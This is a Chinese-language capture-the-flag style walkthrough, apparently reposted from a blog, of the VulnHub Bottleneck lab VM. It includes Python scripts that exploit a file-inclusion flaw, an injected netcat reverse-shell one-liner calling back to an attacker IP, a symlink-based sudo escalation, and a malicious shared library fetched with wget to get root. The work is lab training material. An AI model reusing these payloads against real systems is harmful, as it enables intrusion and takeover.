本文共 2901 字,大约阅读时间需要 9 分钟。
本周实践的是vulnhub的bottleneck镜像,下载地址,https://download.vulnhub.com/bottleneck/Bottleneck.ova,
这个靶机的实验还是很有技术含量的,没点儿能力抄都抄不明白,
首先用workstation导入ova镜像,发现获取不到ip地址,
于是又换成virtualbox导入ova镜像,这回能获取到ip地址了,
省的做地址扫描了,直接端口扫描,
有http服务,就再来个目录爆破,dirb,
只搞到一个主页,没啥用,继续上更高级的目录爆破,dirbuster,
扫了半天,终于扫出来个image_gallery.php,
这里还尝试了网上其它大神用的工具,gobuster,需要在kali里安装,
sudo apt install gobuster,sudo apt install seclists,
然后扫描,sudo gobuster dir -u http://192.168.1.105 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip,很快就能得到想要的结果,下次再目录爆破直接上这个,
访问image_gallery.php,查看源码,发现可以提交参数,第一个参数是时间戳,第二个参数怀疑是文件路径,猜测这里有文件包含漏洞,
自己写一个python脚本试试它,
#coding:utf-8
import timeimport base64import urllibimport requestsstring='''../image_gallery.php'''tt=time.time()payload=base64.b64encode(string.encode("utf-8"))urll="http://192.168.1.105/image_gallery.php"payloads={ 't' : tt, 'f' : payload}r=requests.get(url=urll,params=payloads)print r.text经过验证,payload是../image_gallery.php时能够得到有意义的返回,
获取到image_gallery.php的源文件,里面给出了image_gallery_load.php的线索,
继续用上面的代码获取到image_gallery_load.php的源文件,能够看到虽然这个url有文件包含漏洞,但是设置了黑名单,一旦访问黑名单里的文件路径就会通过python脚本写日志,
我说的技术含量一来了,通过研究上面的黑名单和python脚本写日志,可以构造特殊的payload,让python脚本写日志的过程中帮忙执行反弹shell命令,则上面自己写的python脚本改造如下,
#coding:utf-8
import timeimport base64import urllibimport requestsstring='''/etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.107 4444 >/tmp/f") and\''''tt=time.time()payload=base64.b64encode(string.encode("utf-8"))urll="http://192.168.1.105/image_gallery.php"payloads={ 't' : tt, 'f' : payload}r=requests.get(url=urll,params=payloads)print r.text执行前先在kali攻击机上开一个监听,
msfconsole
use exploit/multi/handlerset payload cmd/unix/reverse_netcat_gapingshow optionsset LHOST 192.168.1.107exploit然后执行上面的python脚本,shell就过来了,id看一眼,不是root,需要继续提权,
sudo -l看一眼,发现是bytevsbyte用户可以执行/var/www/html/web_utils/clear_logs,进/var/www/html/web_utils看看,ls -la,发现/var/www/html/web_utils/clear_logs链接到了/opt/clear_logs.sh,
技术含量二来了,自己写个bash命令文件,让/var/www/html/web_utils/clear_logs链接过来,cd /tmp,echo "/bin/bash" > clear_logs_bak,
改成可执行的,chmod 777 clear_logs_bak,ln -snf /tmp/clear_logs_bak /var/www/html/web_utils/clear_logs,这回以bytevsbyte身份执行/var/www/html/web_utils/clear_logs,
sudo -u bytevsbyte /var/www/html/web_utils/clear_logs,
就拿到bytevsbyte的用户shell了,
然后查查bytevsbyte用户下什么程序是以root权限执行的,
find / -perm -u=s -type f 2>/dev/null,
发现了个可疑的/usr/test/testlib,
进/usr/test/看看,发现有源码文件,看意思是调用了一个叫test_this的函数,
技术含量三来了,参考这个https://github.com/jivoi/pentest/blob/master/shell/rootshell.c,自己写一个库文件,劫持test_this函数,
在kali攻击机里,vim test_this.c,
#include
#include #include #include int test_this(void){ setuid(0); setgid(0); system("/bin/bash");}编译成库文件,gcc -fPIC -shared test_this.c -o test_this.so,
kali攻击机上开个http下载服务,python -m SimpleHTTPServer,
在靶机上下载这个库文件,wget http://192.168.1.107/test_this.so,
并执行,/usr/test/testlib /tmp/test_this.so,就拿到root的shell了,
转载地址:https://blog.csdn.net/weixin_28929351/article/details/112350177 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!